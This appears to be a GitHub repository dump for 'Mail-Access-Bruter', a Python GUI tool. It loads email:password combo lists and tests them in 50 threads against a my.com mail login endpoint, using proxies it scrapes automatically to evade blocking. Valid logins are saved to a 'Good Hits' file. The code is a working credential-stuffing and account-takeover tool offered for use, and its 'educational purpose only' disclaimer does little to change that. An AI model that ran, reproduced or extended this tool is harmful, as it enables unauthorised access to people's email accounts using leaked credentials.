├── Results
└── [Good Hits] 19-10-20 05-28-33-PM.txt
├── requirements.txt
├── icons
└── logo.png
├── LICENSE
├── README.md
└── Mail Access Checker.py
/Results/[Good Hits] 19-10-20 05-28-33-PM.txt:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | BeautifulSoup4
2 | PySimpleGUI
3 | requests
4 |
--------------------------------------------------------------------------------
/icons/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/henry-richard7/Mail-Access-Bruter/HEAD/icons/logo.png
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Henry Richard J
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Mail-Access-Bruter
2 | This python performs brute force attack for mail access
3 |
4 | # This Project is Deprecated and no longer maintained.
5 |
6 | 
7 |
8 | # 📎Modules Required
9 | To install all the required modules use the following code:
10 |
11 | pip install -r requirements.txt
12 |
13 | # ✔️Features
14 | * Proxy is automatically scraped no need to provide! (Http/s proxies)
15 | * All good hits are saved automatically.
16 |
17 | # 📷Screenshots
18 | 
19 |
20 | # My Youtube Channel
21 | [](https://www.youtube.com/channel/UCVGasc5jr45eZUpZNHvbtWQ)
22 |
23 | [](https://www.youtube.com/channel/UCVGasc5jr45eZUpZNHvbtWQ)
24 |
25 | # My Telegram Channel
26 | [](https://t.me/cracked4free)
27 |
28 | # ⚠️ Disclaimer
29 | This program is designed for educational purpose only I am not responsible how this program is use.
30 |
31 | ### 💵 Donations (Optional)
32 | If you like my projects then consider making a small donation by clicking below button ^_^
33 |
34 | [](https://www.paypal.com/paypalme/henryrics)
35 |
36 |
37 | #### Star the Repo in case you liked it :)
38 |
--------------------------------------------------------------------------------
/Mail Access Checker.py:
--------------------------------------------------------------------------------
1 | import random
2 | import requests
3 | from requests import Session
4 | from bs4 import BeautifulSoup
5 | from concurrent.futures import ThreadPoolExecutor
6 | from threading import Thread
7 | import PySimpleGUI as sg
8 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
9 |
10 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
11 | import datetime
12 |
13 | x = datetime.datetime.now()
14 |
15 | session = Session()
16 |
17 | combos = ""
18 |
19 | good = 0
20 | bad = 0
21 | errors = 0
22 |
23 | completed = 0
24 |
25 |
26 | def get_proxyiess():
27 | url = "https://www.sslproxies.org/"
28 | r = session.get(url).content
29 | soup = BeautifulSoup(r, "html.parser")
30 | all_proxies = list(map(lambda x: x[0] + ":" + x[1], list(
31 | zip(map(lambda x: x.text, soup.findAll('td')[0::8]), map(lambda x: x.text, soup.findAll('td')[1::8])))))
32 | window['ProxyCount'].update(str(len(all_proxies)))
33 | return {"https": random.choice(all_proxies)}
34 |
35 |
36 | def proxy_request(req_type, url, **kwargs):
37 | while 1:
38 | try:
39 |
40 | proxy = get_proxyiess()
41 |
42 | r = session.request(req_type, url, proxies=proxy, timeout=5, **kwargs).text
43 | break
44 | except Exception as e:
45 | global errors
46 | errors += 1
47 | window['ProxyErrors'].update(str(errors))
48 | pass
49 | return r
50 |
51 |
52 | def checker(email, password):
53 | global completed
54 | url = f"https://aj-https.my.com/cgi-bin/auth?timezone=GMT%2B2&reqmode=fg&ajax_call=1&udid=16cbef29939532331560e4eafea6b95790a743e9&device_type=Tablet&mp=iOS¤t=MyCom&mmp=mail&os=iOS&md5_signature=6ae1accb78a8b268728443cba650708e&os_version=9.2&model=iPad%202%3B%28WiFi%29&simple=1&Login={email}&ver=4.2.0.12436&DeviceID=D3E34155-21B4-49C6-ABCD-FD48BB02560D&country=GB&language=fr_FR&LoginType=Direct&Lang=en_FR&Password={password}&device_vendor=Apple&mob_json=1&DeviceInfo=%7B%22Timezone%22%3A%22GMT%2B2%22%2C%22OS%22%3A%22iOS%209.2%22%2C?%22AppVersion%22%3A%224.2.0.12436%22%2C%22DeviceName%22%3A%22iPad%22%2C%22Device?%22%3A%22Apple%20iPad%202%3B%28WiFi%29%22%7D&device_name=iPad&"
55 | r = proxy_request("get", url)
56 |
57 | if '["AjaxResponse", "OK", "Ok=0"]' in r:
58 | global bad
59 |
60 | completed += 1
61 | bad += 1
62 | window['Completed'].update(str(completed))
63 | window['BadHit'].update(str(bad))
64 |
65 | elif "form_sign_sentmsg" in r:
66 | global good
67 |
68 | good += 1
69 | completed += 1
70 | window['Completed'].update(str(completed))
71 | window["Hits_Results"].print(f"{email}:{password}")
72 | window['GoodHit'].update(str(good))
73 | open(f"Results\\[Good Hits] {x.strftime('%d-%m-%y %I-%M-%S-%p')}.txt", "a", encoding="utf-8").write(
74 | f"{email}:{password}\n")
75 |
76 |
77 | def run1():
78 | with ThreadPoolExecutor(max_workers=50) as executor:
79 | futures = [executor.submit(checker, combo.split(":")[0], combo.split(":")[1]) for combo in combos]
80 | executor.shutdown(wait=True)
81 |
82 |
83 | theme_name_list = sg.theme_list()
84 | sg.theme("darkblue2")
85 | Layout = [[sg.Image(filename="icons/logo.png", size=(50, 50)), sg.Text("Mail Access Checker", font=("", 25))],
86 | [sg.Text("Developed By Henry Richard J", font=("", 13))],
87 | [sg.Multiline(size=(65, 25), disabled=True, key="Hits_Results")],
88 | [sg.Text("Good", font=("", 12)),
89 | sg.Text("0", font=("", 12), text_color="lightgreen", key="GoodHit", size=(10, 0)),
90 | sg.Text("Bad", font=("", 12)), sg.Text("0", font=("", 12), text_color="red", key="BadHit", size=(10, 0))],
91 | [sg.Text("Total Combo", font=("", 12)),
92 | sg.Text("0", font=("", 12), text_color="yellow", key="ComboCount", size=(10, 0)),
93 | sg.Text("Total Proxy", font=("", 12)),
94 | sg.Text("0", font=("", 12), text_color="orange", key="ProxyCount", size=(10, 0))],
95 | [sg.Text("Total Checked", font=("", 12)),
96 | sg.Text("0", font=("", 12), text_color="cyan", key="Completed", size=(10, 0)),
97 | sg.Text("Proxy Error", font=("", 12)),
98 | sg.Text("0", font=("", 12), text_color="LemonChiffon3", size=(10, 0), key="ProxyErrors")],
99 | [sg.FileBrowse("Load Combos", key="Load_Combos", size=(20, 2), font=("", 15),
100 | file_types=(("Text Files", "*.txt"),)),
101 | sg.Button("Start", key="Start_Checking", size=(20, 2), font=("", 15))]]
102 | window = sg.Window('Mail Access Checker', Layout, element_justification='center')
103 | while True:
104 | event, values = window.read()
105 | if event == sg.WIN_CLOSED:
106 | break
107 |
108 | if event == "Start_Checking":
109 | combos = open(values['Load_Combos'], "r").read().split("\n")
110 | window["ComboCount"].update(str(len(combos)))
111 | Thread(target=run1, daemon=True).start()
112 |
--------------------------------------------------------------------------------